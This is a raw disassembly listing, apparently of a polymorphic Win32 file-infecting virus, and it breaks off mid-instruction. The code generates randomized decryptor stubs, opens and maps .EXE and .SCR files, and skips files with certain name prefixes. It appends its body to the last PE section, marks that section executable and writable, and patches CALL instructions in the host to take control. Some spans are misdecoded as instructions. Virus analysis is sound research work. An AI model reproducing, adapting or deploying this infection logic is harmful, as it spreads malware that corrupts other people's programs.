sub_3090862A+44j mov ecx, [eax+1] and ecx, 0DFDFDFDFh cmp ecx, 4C4C44h jnz short loc_30908670 loc_30908684: ; CODE XREF: sub_3090862A+3Fj pop ecx sub ecx, eax cmp ecx, 0FFFFFFFAh jg loc_30908747 cmp word ptr [eax-2], 3233h jnz loc_30908747 push esi cmp dword ptr [edx], 0 jnz short loc_309086A7 mov ecx, [edx+10h] jmp short loc_309086A9 ; --------------------------------------------------------------------------- loc_309086A7: ; CODE XREF: sub_3090862A+76j mov ecx, [edx] loc_309086A9: ; CODE XREF: sub_3090862A+7Bj add esi, ecx push ecx call sub_30908523 add esi, [ebp+4039AAh] loc_309086B7: ; CODE XREF: sub_3090862A+90j ; sub_3090862A+117j lodsd test eax, eax js short loc_309086B7 jz loc_30908746 push dword ptr [ebp+4039AAh] push eax call sub_30908523 add eax, [ebp+4039AAh] pop dword ptr [ebp+4039AAh] add eax, [esp+4+var_4] push ebx add eax, 2 xor ebx, ebx loc_309086E3: ; CODE XREF: sub_3090862A+CEj movzx ecx, byte ptr [eax] jecxz short loc_309086FA or cl, 20h push ebx shl [esp+0Ch+var_C], 4 sub [esp+0Ch+var_C], ebx sub [esp+0Ch+var_C], ecx pop ebx inc eax jmp short loc_309086E3 ; --------------------------------------------------------------------------- loc_309086FA: ; CODE XREF: sub_3090862A+BCj cmp ebx, 0DDBBD70Fh jz short loc_30908740 cmp ebx, 0DB6E45A8h jz short loc_30908740 cmp ebx, 0FFA13B59h jz short loc_30908740 cmp ebx, 0ACB522D6h jz short loc_30908740 cmp ebx, 0F358E993h jz short loc_30908740 cmp ebx, 0F358E97Dh jz short loc_30908740 cmp ebx, 0E1253F46h jz short loc_30908740 cmp ebx, 0E1253F30h jz short loc_30908740 call dword ptr [ebp+403992h] loc_30908740: ; CODE XREF: sub_3090862A+D6j ; sub_3090862A+DEj ... pop ebx jmp loc_309086B7 ; --------------------------------------------------------------------------- loc_30908746: ; CODE XREF: sub_3090862A+92j pop esi loc_30908747: ; CODE XREF: sub_3090862A+60j ; sub_3090862A+6Cj add edx, 14h jmp loc_3090863E ; --------------------------------------------------------------------------- locret_3090874F: ; CODE XREF: sub_3090862A+18j ; sub_3090862A+22j retn sub_3090862A endp ; --------------------------------------------------------------------------- db 3 ; =============== S U B R O U T I N E ======================================= sub_30908751 proc near ; CODE XREF: UPX2:3090888Fp ; UPX2:309088B5p push 4 pop eax call sub_30907D6E mov [ebp+4024D1h], dl mov ax, 1831h add ah, dl shl ah, 3 add ah, dl stosw push 6 pop eax call sub_30907D6E add edx, 8 xchg edx, ecx loc_30908779: ; CODE XREF: sub_30908751:loc_309087B8j push 5 pop eax call sub_30907D6E cmp dl, 3 jnb short loc_30908791 mov al, 50h add al, [ebp+4024D1h] stosb jmp short loc_309087B8 ; --------------------------------------------------------------------------- loc_30908791: ; CODE XREF: sub_30908751+33j push 68h pop eax stosb cmp dl, 3 jnz short loc_309087B2 mov al, 11h call sub_30907D6E mov eax, 1 loc_309087A6: ; CODE XREF: sub_30908751+5Dj test dl, dl jz short loc_309087B7 shl eax, 1 dec dl jmp short loc_309087A6 ; --------------------------------------------------------------------------- jmp short loc_309087B7 ; --------------------------------------------------------------------------- loc_309087B2: ; CODE XREF: sub_30908751+47j mov eax, 80000000h loc_309087B7: ; CODE XREF: sub_30908751+57j ; sub_30908751+5Fj stosd loc_309087B8: ; CODE XREF: sub_30908751+3Ej loop loc_30908779 retn sub_30908751 endp ; --------------------------------------------------------------------------- loc_309087BB: ; CODE XREF: sub_30909215+112p lea edi, [ebp+40343Ch] test dword ptr [ebp+403431h], 80000000h jz short loc_309087D0 mov al, 60h stosb loc_309087D0: ; CODE XREF: UPX2:309087CBj test dword ptr [ebp+403431h], 1000003h jz loc_309088D6 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call near ptr 0EE1A3394h xchg eax, esi cmp [eax+0], eax mov al, 0E8h stosb stosd test dword ptr [ebp+403431h], 1000000h mov [ebp+40399Ah], edi jz short loc_3090884E test dword ptr [ebp+403431h], 2000000h mov eax, 36FF6467h jnz short loc_30908819 mov eax, 2E8B6467h loc_30908819: ; CODE XREF: UPX2:30908812j stosd mov ax, 0 stosw jz short loc_30908825 mov al, 5Dh stosb loc_30908825: ; CODE XREF: UPX2:30908820j test dword ptr [ebp+403431h], 8000000h mov eax, 86D8Dh jnz short loc_3090884C test dword ptr [ebp+403431h], 4000000h mov eax, 8C583h jz short loc_3090884C mov eax, 0F8ED83h loc_3090884C: ; CODE XREF: UPX2:30908834j ; UPX2:30908845j stosd dec edi loc_3090884E: ; CODE XREF: UPX2:30908801j test dword ptr [ebp+403431h], 3 jz short loc_3090885E mov al, 0E9h stosb stosd loc_3090885E: ; CODE XREF: UPX2:30908858j mov eax, [ebp+403996h] mov ecx, edi sub ecx, eax mov [eax-4], ecx test dword ptr [ebp+403431h], 3 jz short loc_309088D6 mov eax, 36FF6467h mov [ebp+40399Eh], edi stosd mov eax, 64670000h stosd mov eax, 2689h stosd call sub_30908751 mov al, 20h call sub_3090856A jecxz short loc_309088D6 mov ax, 15FFh stosw xchg eax, ecx stosd mov edx, [ebp+403431h] not edx test edx, 3 jnz short loc_309088C9 call sub_30908751 mov al, 1Fh call sub_3090856A mov ax, 15FFh stosw xchg eax, ecx stosd loc_309088C9: ; CODE XREF: UPX2:309088B3j mov ecx, edi mov eax, [ebp+40399Eh] sub ecx, eax mov [eax-4], ecx loc_309088D6: ; CODE XREF: UPX2:309087DAj ; UPX2:30908875j ... test dword ptr [ebp+403431h], 4 jz short loc_309088F4 mov eax, 0C8FEC029h stosd mov eax, 474C008h stosd mov eax, 67EBF875h stosd loc_309088F4: ; CODE XREF: UPX2:309088E0j test dword ptr [ebp+403431h], 8 jnz short loc_3090894A cmp byte ptr [ebp+40342Fh], 0 jz short loc_3090894A mov eax, 0C9291829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosd mov al, 0B1h stosb mov al, [ebp+40342Fh] stosb mov al, 40h or al, [ebp+40342Bh] stosb mov ax, 0FDE2h test dword ptr [ebp+403431h], 10h jz short loc_30908948 mov al, 49h stosb mov ax, 0FC75h loc_30908948: ; CODE XREF: UPX2:3090893Fj stosw loc_3090894A: ; CODE XREF: UPX2:309088FEj ; UPX2:30908907j mov al, 0E8h stosb xor eax, eax stosd mov [ebp+403982h], edi test dword ptr [ebp+403431h], 20h jnz short loc_3090896B mov al, 58h or al, [ebp+403429h] stosb loc_3090896B: ; CODE XREF: UPX2:30908960j mov ax, 0C081h test dword ptr [ebp+403431h], 40h jz short loc_3090897E add ah, 28h loc_3090897E: ; CODE XREF: UPX2:30908979j or ah, [ebp+403429h] stosw mov [ebp+403986h], edi stosd test dword ptr [ebp+403431h], 40000000h jnz short loc_309089A2 mov al, 50h add al, [ebp+403429h] stosb loc_309089A2: ; CODE XREF: UPX2:30908997j test dword ptr [ebp+403431h], 80h jnz short loc_309089B9 mov al, 0B8h or al, [ebp+40342Ah] stosb jmp short loc_309089F6 ; --------------------------------------------------------------------------- loc_309089B9: ; CODE XREF: UPX2:309089ACj mov ax, 1831h test dword ptr [ebp+403431h], 100h jz short loc_309089CB mov al, 29h loc_309089CB: ; CODE XREF: UPX2:309089C7j or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw mov ax, 0F081h test dword ptr [ebp+403431h], 200h jnz short loc_309089EE mov ah, 0C8h loc_309089EE: ; CODE XREF: UPX2:309089EAj or ah, [ebp+40342Ah] stosw loc_309089F6: ; CODE XREF: UPX2:309089B7j mov [ebp+4039A2h], edi mov eax, 243Ch stosd test dword ptr [ebp+403431h], 8 jz short loc_30908A7A test dword ptr [ebp+403431h], 400h jnz short loc_30908A25 mov al, 0B8h or al, [ebp+40342Bh] stosb jmp short loc_30908A72 ; --------------------------------------------------------------------------- loc_30908A25: ; CODE XREF: UPX2:30908A18j test dword ptr [ebp+403431h], 800h jnz short loc_30908A42 mov ax, 0E083h or ah, [ebp+40342Bh] stosw xor eax, eax stosb jmp short loc_30908A57 ; --------------------------------------------------------------------------- loc_30908A42: ; CODE XREF: UPX2:30908A2Fj mov ax, 1829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosw loc_30908A57: ; CODE XREF: UPX2:30908A40j test dword ptr [ebp+403431h], 1000h mov ax, 0C081h jz short loc_30908A6A add ah, 8 loc_30908A6A: ; CODE XREF: UPX2:30908A65j or ah, [ebp+40342Bh] stosw loc_30908A72: ; CODE XREF: UPX2:30908A23j movzx eax, byte ptr [ebp+40342Fh] stosd loc_30908A7A: ; CODE XREF: UPX2:30908A0Cj test dword ptr [ebp+403431h], 40000000h jz short loc_30908A8F mov al, 50h add al, [ebp+403429h] stosb loc_30908A8F: ; CODE XREF: UPX2:30908A84j test dword ptr [ebp+403431h], 2000h mov al, 86h jnz short loc_30908A9F add al, 4 loc_30908A9F: ; CODE XREF: UPX2:30908A9Bj lea ecx, [edi-2] mov ah, [ebp+403429h] mov [ebp+40398Ah], ecx stosw cmp ah, 5 jnz short loc_30908ABC mov al, 0 or byte ptr [edi-1], 40h stosb loc_30908ABC: ; CODE XREF: UPX2:30908AB3j test dword ptr [ebp+403431h], 4000h mov ax, 3166h jnz short loc_30908ACE mov ah, 29h loc_30908ACE: ; CODE XREF: UPX2:30908ACAj stosw mov al, 18h or al, [ebp+40342Bh] shl al, 3 stosb mov al, 88h test dword ptr [ebp+403431h], 8000h jnz short loc_30908AEC mov al, 86h loc_30908AEC: ; CODE XREF: UPX2:30908AE8j mov ah, [ebp+403429h] stosw cmp ah, 5 jnz short loc_30908B00 mov al, 0 or byte ptr [edi-1], 40h stosb loc_30908B00: ; CODE XREF: UPX2:30908AF7j test dword ptr [ebp+403431h], 10000h jnz short loc_30908B17 mov al, 40h or al, [ebp+403429h] stosb jmp short loc_30908B26 ; --------------------------------------------------------------------------- loc_30908B17: ; CODE XREF: UPX2:30908B0Aj mov ax, 0C083h or ah, [ebp+403429h] stosw mov al, 1 stosb loc_30908B26: ; CODE XREF: UPX2:30908B15j test dword ptr [ebp+403431h], 20000h jnz short loc_30908B61 test dword ptr [ebp+403431h], 40000h jnz short loc_30908B58 mov al, 0C0h or al, [ebp+40342Bh] mov ah, [ebp+403430h] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_30908B60 ; --------------------------------------------------------------------------- loc_30908B58: ; CODE XREF: UPX2:30908B3Cj mov al, 40h or al, [ebp+40342Bh] loc_30908B60: ; CODE XREF: UPX2:30908B56j stosb loc_30908B61: ; CODE XREF: UPX2:30908B30j test dword ptr [ebp+403431h], 80000h jnz short loc_30908B7D mov ax, 0E883h or ah, [ebp+40342Ah] stosw mov al, 1 jmp short loc_30908B85 ; --------------------------------------------------------------------------- loc_30908B7D: ; CODE XREF: UPX2:30908B6Bj mov al, 48h or al, [ebp+40342Ah] loc_30908B85: ; CODE XREF: UPX2:30908B7Bj stosb test dword ptr [ebp+403431h], 100000h mov cl, 75h jnz short loc_30908BB9 mov ax, 0F883h or ah, [ebp+40342Ah] stosw xor eax, eax stosb sub [ebp+40398Ah], edi test dword ptr [ebp+403431h], 200000h jnz short loc_30908BD4 mov cl, 77h jmp short loc_30908BD4 ; --------------------------------------------------------------------------- loc_30908BB9: ; CODE XREF: UPX2:30908B92j mov ax, 1809h or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw sub [ebp+40398Ah], edi loc_30908BD4: ; CODE XREF: UPX2:30908BB3j ; UPX2:30908BB7j mov al, cl mov ah, [ebp+40398Ah] stosw mov al, 58h add al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 1000003h jz loc_30908C7E mov eax, 268B6467h mov ecx, [ebp+403431h] xor ecx, 2000000h test ecx, 3000000h jnz short loc_30908C15 mov eax, 2E876467h loc_30908C15: ; CODE XREF: UPX2:30908C0Ej stosd mov eax, 0 stosw jnz short loc_30908C25 mov ax, 0E58Bh stosw loc_30908C25: ; CODE XREF: UPX2:30908C1Dj mov eax, 68F6764h stosd xor eax, eax stosw test dword ptr [ebp+403431h], 1000000h jnz short loc_30908C7B test dword ptr [ebp+403431h], 8000000h jz short loc_30908C6D mov ax, 6C8Dh test dword ptr [ebp+403431h], 2000000h setnz cl or ah, cl stosw test cl, cl jnz short loc_30908C68 mov ax, 424h stosw jmp short loc_30908C7B ; --------------------------------------------------------------------------- loc_30908C68: ; CODE XREF: UPX2:30908C5Ej mov al, 8 stosb jmp short loc_30908C7B ; --------------------------------------------------------------------------- loc_30908C6D: ; CODE XREF: UPX2:30908C45j mov ax, 5D58h add al, [ebp+40342Bh] stosw jmp short loc_30908C7E ; --------------------------------------------------------------------------- loc_30908C7B: ; CODE XREF: UPX2:30908C39j ; UPX2:30908C66j ... mov al, 0C9h stosb loc_30908C7E: ; CODE XREF: UPX2:30908BF1j ; UPX2:30908C79j test dword ptr [ebp+403431h], 80000000h jz short loc_30908CAA mov al, 7 sub al, [ebp+403429h] shl eax, 1Ah or eax, 240889h add ah, [ebp+403429h] shl ah, 3 add ah, 4 stosd mov al, 61h stosb loc_30908CAA: ; CODE XREF: UPX2:30908C88j mov ax, 0E0FFh or ah, [ebp+403429h] stosw test dword ptr [ebp+403431h], 20h jz short loc_30908D15 test dword ptr [ebp+403431h], 20000000h jz short loc_30908CDB loc_30908CCE: ; CODE XREF: UPX2:30908CD9j test edi, 3 jz short loc_30908CDB mov al, 90h stosb jmp short loc_30908CCE ; --------------------------------------------------------------------------- loc_30908CDB: ; CODE XREF: UPX2:30908CCCj ; UPX2:30908CD4j mov eax, edi mov ecx, [ebp+403982h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 400000h jz short loc_30908D09 mov ax, 0C350h or al, [ebp+403429h] jmp short loc_30908D13 ; --------------------------------------------------------------------------- loc_30908D09: ; CODE XREF: UPX2:30908CFBj mov ax, 0E0FFh or ah, [ebp+403429h] loc_30908D13: ; CODE XREF: UPX2:30908D07j stosw loc_30908D15: ; CODE XREF: UPX2:30908CC0j test dword ptr [ebp+403431h], 1000003h jz short loc_30908D94 test dword ptr [ebp+403431h], 20000000h jz short loc_30908D3A loc_30908D2D: ; CODE XREF: UPX2:30908D38j test edi, 3 jz short loc_30908D3A mov al, 90h stosb jmp short loc_30908D2D ; --------------------------------------------------------------------------- loc_30908D3A: ; CODE XREF: UPX2:30908D2Bj ; UPX2:30908D33j mov ecx, edi mov eax, [ebp+40399Ah] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+403431h], 800000h jnz short loc_30908D63 lea eax, [ebp+403429h] loc_30908D5B: ; CODE XREF: UPX2:30908D61j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_30908D5B loc_30908D63: ; CODE XREF: UPX2:30908D53j lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_30908D78 mov ax, 0C031h stosw loc_30908D78: ; CODE XREF: UPX2:30908D70j mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_30908D91 mov ax, 0C031h stosw loc_30908D91: ; CODE XREF: UPX2:30908D89j mov al, 0C3h stosb loc_30908D94: ; CODE XREF: UPX2:30908D1Fj lea eax, [ebp+40343Ch] test dword ptr [ebp+403431h], 10000000h jnz short loc_30908DAC push edi sub edi, eax pop eax jmp short loc_30908DC5 ; --------------------------------------------------------------------------- loc_30908DAC: ; CODE XREF: UPX2:30908DA4j mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+4039A2h] add [ebp+403982h], edx add [ecx], edi mov eax, [esp+4] loc_30908DC5: ; CODE XREF: UPX2:30908DAAj mov [ebp+40106Dh], edi mov edi, [ebp+403986h] sub eax, [ebp+403982h] test dword ptr [ebp+403431h], 40h jz short loc_30908DE5 neg eax loc_30908DE5: ; CODE XREF: UPX2:30908DE1j stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_30908DE9 proc near ; CODE XREF: sub_30909215+2A8p push esi push edi cmp dword ptr [ebp+4039AEh], 0 jz loc_30908FD1 call near ptr loc_30908E09+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_30908E09: ; CODE XREF: sub_30908DE9+Fp add bh, bh sub_30908DE9 endp ; sp-analysis failed xchg eax, ebp mov ds:85890040h, dh mov esi, 53004039h mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call sub_30908523 mov edx, [ebp+4039A6h] pop ebx add eax, [edx+0Ch] mov [ebp+4039C2h], eax add eax, [edx+8] mov [ebp+4039C6h], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call sub_30908523 mov edi, [ebp+4039A6h] push esi call sub_30908523 mov edx, [ebp+4039A6h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_30908FD1 jz loc_30908FD1 add esi, [ebp+4039AAh] add esi, [ebp+403972h] ; START OF FUNCTION CHUNK FOR sub_30908FA2 loc_30908E83: ; CODE XREF: sub_30908FA2+29j lodsb cmp al, 0E8h jnz loc_30908F2E lea eax, [esi+4] sub eax, [ebp+403972h] add eax, [esi] push eax call sub_30908523 cmp dword ptr [ebp+4039A6h], 0 jnz short loc_30908EB1 cmp eax, [edi+0Ch] jnb loc_30908FCA jmp short loc_30908EBD ; --------------------------------------------------------------------------- loc_30908EB1: ; CODE XREF: sub_30908FA2-FEj cmp [ebp+4039A6h], edx jnz loc_30908FCA loc_30908EBD: ; CODE XREF: sub_30908FA2-F3j add eax, [ebp+403972h] cmp word ptr [eax], 25FFh jnz loc_30908FCA mov eax, [eax+2] sub eax, [ebx+34h] push eax call sub_30908523 cmp [ebp+4039A6h], edi jnz loc_30908FCA add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_30908FCA cmp eax, [edi+8] jnb loc_30908FCA loc_30908F06: ; CODE XREF: sub_30908FA2+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+403972h] push edx push eax push dword ptr [ebp+4039BEh] call dword ptr [ebp+403548h] pop edx test eax, eax jnz loc_30908FE0 jmp loc_30908FCA ; --------------------------------------------------------------------------- loc_30908F2E: ; CODE XREF: sub_30908FA2-11Cj cmp al, 0FFh jnz loc_30908FCA cmp byte ptr [esi], 15h jnz loc_30908FCA mov eax, [esi+1] sub eax, [ebx+34h] push eax call sub_30908523 cmp [ebp+4039A6h], edi jnz short loc_30908FCA add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov [ebp+4039CAh], eax mov eax, [eax] cmp eax, [ebp+4039C2h] jb short loc_30908F77 cmp eax, [ebp+4039C6h] jb short loc_30908FE0 loc_30908F77: ; CODE XREF: sub_30908FA2-35j cmp eax, 70000000h jb short loc_30908FB5 call sub_30908FA2 lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+4039CAh] jnz short locret_30908FA1 add esp, 10h push dword ptr [ecx] pop [esp-0Ch+arg_24] popa jmp short loc_30908FBC ; --------------------------------------------------------------------------- locret_30908FA1: ; CODE XREF: sub_30908FA2-Fj retn ; END OF FUNCTION CHUNK FOR sub_30908FA2 ; =============== S U B R O U T I N E ======================================= sub_30908FA2 proc near ; CODE XREF: sub_30908FA2-24p var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 30908E83 SIZE 0000011F BYTES pop dword ptr [ebp+403992h] pusha mov esi, [ebp+403972h] call sub_3090862A popa loc_30908FB5: ; CODE XREF: sub_30908FA2-26j test eax, 80000000h jnz short loc_30908FCA loc_30908FBC: ; CODE XREF: sub_30908FA2-3j sub eax, [edi+0Ch] jb short loc_30908FCA cmp eax, [edi+8] jb loc_30908F06 loc_30908FCA: ; CODE XREF: sub_30908FA2-F9j ; sub_30908FA2-EBj ... dec ecx jnz loc_30908E83 loc_30908FD1: ; CODE XREF: sub_30908DE9+9j ; UPX2:30908E6Bj ... mov edi, [esp-4+arg_0] and dword ptr [edi+2431h], 7FFFFFFFh jmp short loc_3090901C ; --------------------------------------------------------------------------- loc_30908FE0: ; CODE XREF: sub_30908FA2-7Fj ; sub_30908FA2-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+8+var_8] xchg eax, [ebp+4039AEh] lea edi, [ecx+2435h] add eax, [ebp+403972h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+52h], 5 mov [esi-4], eax loc_3090901C: ; CODE XREF: sub_30908FA2+3Cj pop edi pop esi retn sub_30908FA2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3090901F proc near ; CODE XREF: UPX2:309091EDp ; sub_30909215+127p lea esi, [ebp+40384Eh] push esi call dword ptr [ebp+40357Ch] cmp eax, 0FFFFFFFFh jz locret_309090F0 mov [ebp+403952h], eax push 0 push esi call dword ptr [ebp+4035B4h] test eax, eax jz locret_309090F0 sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+40355Ch] cmp eax, 0FFFFFFFFh jz loc_309095A8 mov [ebp+403956h], eax lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push eax call dword ptr [ebp+403584h] cmp eax, 0FFFFFFFFh jz loc_3090959C push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+403580h] cmp eax, 0FFFFFFFFh jz loc_3090959C mov [ebp+40396Ah], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+403956h] call dword ptr [ebp+403560h] test eax, eax jz loc_3090959C xor ecx, ecx mov [ebp+40396Eh], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+4035A0h] test eax, eax jz loc_30909574 mov [ebp+403972h], eax locret_309090F0: ; CODE XREF: sub_3090901F+10j ; sub_3090901F+27j ... retn sub_3090901F endp ; =============== S U B R O U T I N E ======================================= sub_309090F1 proc near ; CODE XREF: sub_30909215+117p ; sub_30909215+223p mov eax, 69CDh mov ecx, [ebx+38h] test dword ptr [ebp+403431h], 10000000h jnz short loc_3090910B add eax, [ebp+40106Dh] loc_3090910B: ; CODE XREF: sub_309090F1+12j xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+40397Ah], eax mov eax, 243Bh mov ecx, [ebx+3Ch] add eax, [ebp+40106Dh] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+403976h], eax retn sub_309090F1 endp ; =============== S U B R O U T I N E ======================================= sub_30909136 proc near ; CODE XREF: sub_30909215:loc_30909264p ; sub_30909215+13Dp movzx ecx, word ptr [ebx+6] stc loc_3090913B: ; CODE XREF: sub_30909136+23j jecxz short locret_30909172 lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_30909172 cmp dword ptr [edx+0Ch], 1 jb short loc_3090913B mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+40396Ah] locret_30909172: ; CODE XREF: sub_30909136:loc_3090913Bj ; sub_30909136+1Dj ... retn sub_30909136 endp ; =============== S U B R O U T I N E ======================================= sub_30909173 proc near ; CODE XREF: UPX2:309091FFp arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_30909173 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_30909180: ; CODE XREF: UPX2:309091A1j mov ecx, edi jmp short loc_3090918F ; --------------------------------------------------------------------------- lea edi, [ebp+40384Eh] cld loc_3090918B: ; CODE XREF: UPX2:3090919Dj mov ebx, edi xor ecx, ecx loc_3090918F: ; CODE XREF: UPX2:30909182j ; UPX2:309091A5j lodsb cmp al, 61h jb short loc_3090919A cmp al, 7Ah ja short loc_3090919A sub al, 20h loc_3090919A: ; CODE XREF: UPX2:30909192j ; UPX2:30909196j stosb cmp al, 5Ch jz short loc_3090918B cmp al, 2Eh jz short loc_30909180 cmp al, 0 jnz short loc_3090918F jecxz short locret_30909172 mov eax, [ecx] cmp eax, 455845h jz short loc_309091BD cmp eax, 524353h jnz locret_309090F0 loc_309091BD: ; CODE XREF: UPX2:309091B0j mov eax, [ebx] cmp eax, 434E4957h jz locret_309090F0 cmp eax, 4E554357h jz locret_309090F0 cmp eax, 32334357h jz locret_309090F0 cmp eax, 4F545350h jz locret_309090F0 xor ebx, ebx call sub_3090901F jz locret_309090F0 xor edx, edx call sub_30909215 call sub_30909173 call $+5 pop ebp sub ebp, 402F8Ah jmp loc_30909552 ; =============== S U B R O U T I N E ======================================= sub_30909215 proc near ; CODE XREF: UPX2:309091FAp var_14 = dword ptr -14h push dword ptr fs:[edx] mov esi, [ebp+403972h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_30909552 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_30909552 test dword ptr [ebx+16h], 2000h jnz loc_30909552 test byte ptr [ebx+5Ch], 2 mov ecx, [esi+20h] jz loc_30909552 jecxz short loc_30909264 cmp ecx, 101h jbe loc_30909552 loc_30909264: ; CODE XREF: sub_30909215+41j call sub_30909136 jb loc_30909552 mov ecx, [edx+10h] add ecx, [edx+0Ch] mov eax, 10000h push ecx call sub_30907D6E xor [ebp+40342Fh], dl mov cl, 20h xor [ebp+403430h], dh loc_3090928E: ; CODE XREF: sub_30909215+92j push 20h dec cl pop eax js short loc_309092A9 call sub_30907D6E test edx, edx setz dl shl edx, cl xor [ebp+403431h], edx jmp short loc_3090928E ; --------------------------------------------------------------------------- loc_309092A9: ; CODE XREF: sub_30909215+7Ej ; sub_30909215+CDj ... push 6 pop ecx loc_309092AF: ; CODE XREF: sub_30909215+B8j push 6 pop eax call sub_30907D6E mov al, [ebp+403429h] xchg al, [edx+ebp+403429h] mov [ebp+403429h], al loop loc_309092AF test dword ptr [ebp+403431h], 8 jnz short loc_309092E4 cmp byte ptr [ebp+40342Bh], 1 jz short loc_309092A9 loc_309092E4: ; CODE XREF: sub_30909215+C4j test dword ptr [ebp+403431h], 1000003h jz short loc_3090930B cmp byte ptr [ebp+403429h], 5 jz short loc_309092A9 cmp byte ptr [ebp+40342Ah], 5 jz short loc_309092A9 cmp byte ptr [ebp+40342Bh], 5 jz short loc_309092A9 loc_3090930B: ; CODE XREF: sub_30909215+D9j test dword ptr [ebp+403431h], 80000000h jz short loc_30909320 cmp byte ptr [ebp+403429h], 2 ja short loc_309092A9 loc_30909320: ; CODE XREF: sub_30909215+100j and dword ptr [ebp+4039AEh], 0 call loc_309087BB call sub_309090F1 call sub_3090955B mov ebx, [ebp+403976h] call sub_3090901F jz loc_30909552 mov esi, [ebp+403972h] mov ebx, [esi+3Ch] add ebx, esi call sub_30909136 jb loc_30909552 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+403431h], 10000000h jnz short loc_30909388 lea esi, [ebp+40343Ch] mov ecx, [ebp+40106Dh] rep movsb loc_30909388: ; CODE XREF: sub_30909215+163j push edi mov ecx, 90Fh lea esi, [ebp+401000h] rep movsd mov cl, 0 jecxz short loc_3090939C rep movsb loc_3090939C: ; CODE XREF: sub_30909215+183j test dword ptr [ebp+403431h], 10000000h jz loc_30909454 push dword ptr [ebx+28h] call sub_30908523 mov edx, [ebp+4039A6h] test edx, edx jz loc_30909454 mov esi, [ebp+403972h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_309093D9 xor ecx, ecx loc_309093D9: ; CODE XREF: sub_30909215+1C0j add esi, [edx+14h] cmp ecx, [ebp+40106Dh] mov ecx, [ebp+40106Dh] jb short loc_30909440 mov edi, [esp+14h+var_14] and dword ptr [ebp+40106Dh], 0 and dword ptr [edi+6Dh], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, [ebp+403986h] test dword ptr [ebp+403431h], 40h jz short loc_30909419 neg dword ptr [eax] loc_30909419: ; CODE XREF: sub_30909215+200j add esi, [edx+0Ch] sub [eax], esi mov [ebp+4039AEh], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+403431h], 40h jz short loc_30909437 neg dword ptr [eax] loc_30909437: ; CODE XREF: sub_30909215+21Ej push ecx call sub_309090F1 pop ecx jmp short loc_3090944C ; --------------------------------------------------------------------------- loc_30909440: ; CODE XREF: sub_30909215+1D3j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_3090944C: ; CODE XREF: sub_30909215+229j lea esi, [ebp+40343Ch] rep movsb loc_30909454: ; CODE XREF: sub_30909215+191j ; sub_30909215+1A7j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+1D2h] cmp dl, [ebp+40342Fh] jnz short loc_3090946D imul edx, 12345678h loc_3090946D: ; CODE XREF: sub_30909215+250j mov [eax-1], dl call near ptr dword_30907428+19h pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+403431h], 10000000h lea eax, [ecx+6] jnz short loc_3090949E mov [ebp+4039AEh], ecx add eax, [ebp+40106Dh] and dword ptr [edi+6Dh], 0 loc_3090949E: ; CODE XREF: sub_30909215+274j sub eax, [ebx+28h] push dword ptr [ebp+40397Eh] mov [edi+52h], eax pop dword ptr [esi+20h] test dword ptr [ebp+403431h], 80000000h jz short 